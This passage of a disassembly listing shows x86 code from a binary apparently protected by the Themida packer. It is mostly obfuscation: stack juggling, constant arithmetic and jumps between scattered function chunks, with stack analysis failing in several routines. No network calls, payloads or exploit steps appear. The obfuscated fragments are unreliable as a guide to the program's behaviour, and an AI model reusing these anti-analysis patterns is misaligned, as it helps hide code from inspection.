mov dl, 0CAh
sub bl, dl
push [esp-4+arg_0]
push dword ptr [esp+0]
pop edx
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
sub bl, 0F7h
sub bl, al
push eax
jmp loc_561A2B
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_560F03: ; CODE XREF: sub_56B1DC+4F01j
add esi, edi
pop edi
jmp loc_573642
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_560F0B: ; CODE XREF: sub_56657A+390Fj
pop ecx
xchg ebx, [esp-4+arg_0]
jmp loc_568FFA
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_560F14: ; CODE XREF: sub_570621-E1D2j
xchg ebp, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esi
mov esi, 4
add [esp+4], esi
pop esi
push dword ptr [esp+0]
push [esp+4+var_4]
mov edx, [esp+8+var_8]
jmp loc_5625D6
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_560F33: ; CODE XREF: sub_56B1DC+4A7Cj
add esp, 4
jmp loc_566A41
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_560F3E: ; CODE XREF: sub_574CDD+6j
mov eax, 4
add ebp, eax
jmp loc_573C2B
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_560F4A: ; CODE XREF: sub_57354D-BCB9j
pop ebp
jmp loc_5709E4
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_560F50: ; CODE XREF: sub_574FC9-BF63j
xor edi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], edi
xor edi, [esp+0Ch+var_C]
pop esp
jmp loc_56DB8D
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D72
loc_560F5F: ; CODE XREF: sub_567D72-695Fj
add esi, 4
jmp loc_56F65B
; END OF FUNCTION CHUNK FOR sub_567D72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_560F6A: ; CODE XREF: sub_574A21-11F34j
mov edx, 4D362769h
push ecx
mov ecx, 52B92B40h
shl ecx, 4
shr ecx, 3
sub ecx, 0FFFFFFFFh
add ecx, 65C4D7C4h
add edx, ecx
pop ecx
push edi
jmp loc_56A51B
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_560F8D: ; CODE XREF: sub_564D26+2569j
pop edi
shl edx, 4
sub edx, 33577B90h
jmp loc_56AA60
; ---------------------------------------------------------------------------
loc_560F9C: ; CODE XREF: sub_564D26+5D46j
add esp, 4
shr eax, 0Ch
xor eax, ecx
push 3397h
mov [esp+10h+var_10], eax
jmp loc_56F231
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_560FB1: ; CODE XREF: sub_5648C6-6ADj
mov ebp, [esp+4+var_4]
add esp, 4
jmp loc_56BB65
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_560FBF: ; CODE XREF: sub_56A7FB-5C5Dj
mov dh, 0A7h
mov ch, 0B2h
jmp loc_56296A
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_560FC8: ; CODE XREF: sub_567D31+9022j
add ebp, 2916934h
xor ebp, 4F3B18F2h
add ebp, 74760D45h
jmp loc_5653B8
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_560FDF: ; CODE XREF: sub_571088-1F81j
mov [esp+4+var_4], edi
mov edi, 4
sub ebp, 3B4154EFh
sub ebp, edi
push edi
jmp loc_56F878
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_560FF5: ; CODE XREF: sub_572E16-D8CEj
pop edi
xchg esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mov [esp-4+arg_0], eax
push ebx
sub esp, 4
mov [esp+4+var_4], esi
push ecx
add [esp+8+var_8], 75D05E9Bh
pop esi
sub esi, 75D05E9Bh
jmp loc_56AF59
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_56101D: ; CODE XREF: sub_574949-6F32j
not ebx
xchg ebx, esi
dec esi
jmp loc_560B61
; END OF FUNCTION CHUNK FOR sub_574949
; =============== S U B R O U T I N E =======================================
sub_561027 proc near ; CODE XREF: sub_560056+1E06j
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00560912 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00560BB9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560D16 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560DF8 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056254A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00562D37 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00564163 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005643FF SIZE 00000042 BYTES
; FUNCTION CHUNK AT 00564771 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00564EC6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005659D2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566986 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00567019 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005678F4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568256 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005695C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005697B4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569C48 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056A647 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056ACB8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BB4A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056BCF1 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056C1A1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056C283 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056C4D7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056CE64 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056D8D0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F50F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00570567 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570A1B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005713DE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057195F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571B3F SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005727E6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00572A28 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005731F2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573270 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005737D5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00573909 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573A4F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574593 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00574CE8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00575103 SIZE 0000000D BYTES
push ebx
jmp loc_5731F2
sub_561027 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_56102D proc near ; CODE XREF: sub_56C474-1431j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005608DA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00560AE6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056229B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00562B7E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00563875 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005657AB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056777D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005677A6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056786F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005694CA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569B21 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00569DC3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056AA20 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AD68 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BDB1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056D634 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056F156 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056FD5E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005700E2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0057232B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00573BDD SIZE 0000000F BYTES
push ebx
jmp loc_5657AB
sub_56102D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C295
loc_561033: ; CODE XREF: sub_56C295-8F44j
pop eax
add edi, ebp
pop ebp
xchg edi, [esp-0Ch+arg_8]
pop esp
jmp sub_56C553
; END OF FUNCTION CHUNK FOR sub_56C295
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_561040: ; CODE XREF: sub_56241E+C9DFj
add esp, 4
and dx, cx
push [esp+8+var_8]
pop ecx
add esp, 4
push cx
mov cx, 3898h
jmp loc_562962
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_56105E: ; CODE XREF: sub_569A75+41ADj
mov bh, cl
mov ecx, [esp+6+var_6]
add esp, 4
jmp loc_571B76
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_56106B: ; CODE XREF: sub_56651E+9C9Fj
sub ebx, 1D9C607Eh
add ebx, ecx
add ebx, 1D9C607Eh
jmp loc_563F44
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56107E: ; CODE XREF: sub_5673C3+2477j
xor edi, [esp+0]
xor [esp+0], edi
xor edi, [esp+0]
pop esp
mov [esp-4+arg_0], ecx
mov ecx, 0FFFFh
mov esi, ecx
push [esp-4+arg_0]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
add ebp, esi
pop esi
jmp loc_56A968
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_5610AD: ; CODE XREF: sub_569A75+6559j
add al, 1Dh
jmp loc_572D5A
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56666D
loc_5610B4: ; CODE XREF: sub_56666D+1386j
pop edi
add esp, 4
shr ecx, 5
jmp sub_575315
; END OF FUNCTION CHUNK FOR sub_56666D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574229
loc_5610C3: ; CODE XREF: sub_574229+3j
sub al, 28h
add al, bl
add al, 28h
jmp sub_5678CB
; END OF FUNCTION CHUNK FOR sub_574229
; =============== S U B R O U T I N E =======================================
sub_5610CE proc near ; CODE XREF: sub_560066+125CEj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560B21 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00560E29 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005628C4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00563E62 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00564FAC SIZE 00000054 BYTES
; FUNCTION CHUNK AT 0056508C SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00568A5E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F379 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057123E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005746FC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005754AD SIZE 00000020 BYTES
push ebx
push esp
pop ebx
push edi
mov edi, 561B5B60h
shr edi, 3
shr edi, 1
shr edi, 6
push ebx
mov ebx, 1D4E7F0Ah
or edi, ebx
pop ebx
jmp loc_564FAC
sub_5610CE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_5610ED: ; CODE XREF: sub_5684A6+5j
mov [esp+4+var_4], esi
sub esp, 4
mov [esp+8+var_8], esp
jmp loc_566C1C
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_5610FE: ; CODE XREF: sub_566400+6D5Dj
shl edi, 4
sub edi, 15FB76FFh
jmp loc_56F24B
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
loc_56110C: ; CODE XREF: Themida_:0056A683j
mov ebp, [esp]
add esp, 4
add edi, edx
pop edx
sub edi, 2
xor edi, [esp]
xor [esp], edi
jmp loc_56FD26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_561126: ; CODE XREF: sub_563DCB-39DDj
pop ecx
push edi
mov edi, 2
sub ebx, edi
pop edi
xchg ebx, [esp-4+arg_0]
pop esp
mov word ptr [esp-8+arg_4], dx
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 487954F9h
shr edi, 6
jmp loc_56A4CB
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
loc_56114E: ; CODE XREF: Themida_:00568D2Cj
pop ebx
push edx
mov edx, 7C8283Dh
jmp loc_56136D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56115A: ; CODE XREF: sub_563A7F+4FDAj
mov [esp+0Ch+var_C], ecx
mov cl, 0D4h
add cl, 5Bh
jmp loc_57174B
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_561167: ; CODE XREF: sub_574304-9A95j
pop ebp
add esp, 4
jmp loc_571A18
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
loc_561173: ; CODE XREF: Themida_:00569AF9j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
idiv cx
jmp loc_574200
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_561187: ; CODE XREF: sub_563DCB+59E4j
mov [esp+0], eax
jmp loc_56C194
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E5BB
loc_56118F: ; CODE XREF: sub_56E5BB+10j
pop ecx
add esp, 4
add ecx, 4
jmp loc_56A813
; END OF FUNCTION CHUNK FOR sub_56E5BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_56119E: ; CODE XREF: sub_569B75-2754j
push esi
mov ebx, [esp+0]
add esp, 4
mov esi, [esp-4+arg_0]
add esp, 4
add eax, ebx
mov ebx, [esp+0]
push eax
mov eax, esp
add eax, 4
push esi
mov esi, 4
jmp loc_56B67E
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57377E
loc_5611C6: ; CODE XREF: sub_57377E+15DAj
push edi
mov edi, esp
jmp loc_56DCF3
; END OF FUNCTION CHUNK FOR sub_57377E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_5611CE: ; CODE XREF: sub_56CD13-DF4j
xor ebp, ecx
pop ecx
sub ecx, 14443A16h
jmp loc_56DA27
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56671D
loc_5611DC: ; CODE XREF: sub_56671D+C36j
mov esi, [esp+8+var_8]
add esp, 4
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
jmp loc_563792
; END OF FUNCTION CHUNK FOR sub_56671D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563152
loc_5611ED: ; CODE XREF: sub_563152+9j
mov [esp+2+var_2], ax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_563152
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E5BB
loc_5611F6: ; CODE XREF: sub_56E5BB+3398j
pop ebx
sub edx, 6C3574EEh
add edx, edi
add edx, 6C3574EEh
pop edi
push ecx
mov ecx, 4
sub edx, 1EFD099Bh
jmp loc_572FE8
; END OF FUNCTION CHUNK FOR sub_56E5BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_561217: ; CODE XREF: sub_561541+9FC7j
sub ecx, edi
pop edi
mov eax, ecx
mov ecx, [esp+8+var_8]
add esp, 4
sub ecx, 672F0506h
add ecx, 3C5B5CF5h
sub ecx, eax
sub ecx, 3C5B5CF5h
push edx
jmp loc_571D6B
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56123F: ; CODE XREF: sub_56CC46-14EAj
push ecx
mov ecx, 6955092Dh
jmp loc_5743D3
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_56124A: ; CODE XREF: sub_5747D7-150Ej
xchg eax, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
jmp sub_56651E
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_561256: ; CODE XREF: sub_56BD44-9FB4j
mov edi, [esp+4+var_4]
push ecx
mov ecx, esp
push edi
mov edi, 58B01909h
neg edi
sub edi, 4A690F31h
shl edi, 1
neg edi
sub edi, 46325070h
jmp loc_560A43
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_561279: ; CODE XREF: sub_56EE9F-CB1Cj
mov esi, [esp+4+var_4]
jmp loc_56897E
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C12
loc_561281: ; CODE XREF: sub_560C12+817Cj
add edi, ebx
pop ebx
add edi, 2
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56BF51
; END OF FUNCTION CHUNK FOR sub_560C12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_561298: ; CODE XREF: sub_56616D+B166j
pop esi
inc ecx
shr ecx, 7
shr ecx, 7
add ecx, 2BD36F6Bh
xor edx, ecx
jmp loc_572426
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_5612AD: ; CODE XREF: sub_5738F4-CB7Bj
xor edi, 1AE521A1h
add eax, edi
jmp loc_5737C1
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_5612BA: ; CODE XREF: sub_56D4B8-8B03j
add ebp, eax
mov eax, [esp+4+var_4]
add esp, 4
push esi
mov esi, 4C9605Ch
add edi, esi
pop esi
sub edi, 123C2D57h
add edi, ebp
add edi, 123C2D57h
sub edi, 4C9605Ch
pop ebp
add edi, 4
xor edi, [esp-4+arg_0]
xor [esp-4+arg_0], edi
xor edi, [esp-4+arg_0]
pop esp
add eax, 780803FBh
mov ecx, [esp-8+arg_4]
push esi
mov esi, esp
jmp loc_574048
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_561300: ; CODE XREF: sub_57354D-10D19j
mov ebx, esp
push esi
mov esi, 4
add ebx, esi
pop esi
add ebx, 4
jmp loc_56BCA0
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_561316: ; CODE XREF: sub_569FB8+A620j
add esp, 2
sub esp, 2
mov [esp+2+var_2], bx
push 5ECDh
mov [esp+6+var_6], edx
push ecx
mov cl, 0B9h
mov dh, cl
jmp loc_56C3BF
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_561332: ; CODE XREF: sub_561541+1221Dj
push eax
push 4953h
jmp loc_563066
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_56133D: ; CODE XREF: sub_56628B+1CD7j
add esp, 4
push 3565h
mov [esp+4+var_4], ecx
jmp loc_56005C
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C553
loc_56134D: ; CODE XREF: sub_56C553+6F24j
mov [esp+0Ch+var_C], esi
push [esp+0Ch+var_C]
mov ecx, [esp+10h+var_10]
add esp, 4
push ecx
push esp
pop ecx
push edi
mov edi, 65502174h
inc edi
inc edi
inc edi
jmp loc_5724FC
; END OF FUNCTION CHUNK FOR sub_56C553
; ---------------------------------------------------------------------------
loc_56136D: ; CODE XREF: Themida_:00561155j
push eax
push ebp
push 63CB32C1h
mov ebp, [esp]
jmp loc_57150C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56749A
loc_56137C: ; CODE XREF: sub_56749A-511j
bt [esp+0], ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56749A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560137
loc_561387: ; CODE XREF: sub_560137+9j
mov [esp+4+var_4], edi
push esp
pop edi
push 52D9h
mov [esp+8+var_8], ebp
mov ebp, 34A11519h
shl ebp, 7
xor ebp, 508A8C84h
add edi, 7EC60229h
add edi, ebp
push ecx
jmp sub_56DA36
; END OF FUNCTION CHUNK FOR sub_560137
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_5613B0: ; CODE XREF: sub_566117+8D7Aj
pop eax
push esi
mov esi, ebp
mov ecx, esi
pop esi
pop ebp
xor ecx, 5DEB3093h
xor ecx, 4A9C76E1h
jmp loc_56D9C3
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_5613C9: ; CODE XREF: sub_563FA2+EEFFj
mov [esp+0], edx
mov edx, 2
add esi, edx
pop edx
push 0D71h
mov [esp+0], esi
push [esp+arg_0]
mov esi, [esp+4+var_4]
add esp, 4
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
inc word ptr [esp-4+arg_0]
pushf
jmp loc_563317
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D72
loc_5613F9: ; CODE XREF: sub_567D72+9630j
add dword ptr [esp+0], 4
pop ecx
add ecx, 4
push edi
mov edi, 4
add ecx, edi
pop edi
push esi
mov esi, esp
jmp loc_560F5F
; END OF FUNCTION CHUNK FOR sub_567D72
; =============== S U B R O U T I N E =======================================
sub_561418 proc near ; CODE XREF: sub_5605BC+9AF7j
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005601A8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005602DE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00560CE1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00561E6C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562060 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00562160 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056223C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005623BB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005627CE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056287B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005629C7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005633AC SIZE 0000004B BYTES
; FUNCTION CHUNK AT 00563C0B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056563A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565D8B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056622C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056635B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566484 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0056731E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056736E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056791A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567A18 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567D5C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568275 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00568630 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568B79 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00568E2D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569010 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056936F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005694EA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00569ED9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056BBAB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BD4C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C208 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056C89C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056CA11 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056D8F4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DC40 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056E67D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EBBE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056EE46 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F1CF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056FCF0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056FD47 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570103 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005701C2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005703CD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0057152D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005716BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057181A SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00571E75 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00572023 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0057220E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00572725 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00572A6F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00572C33 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00572E79 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005737EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057398D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005739D5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057402D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574477 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574499 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00574A64 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00574C78 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00575031 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005751D7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0057528D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0057546A SIZE 00000017 BYTES
push ebp
jmp loc_5737EB
sub_561418 endp ; sp-analysis failed
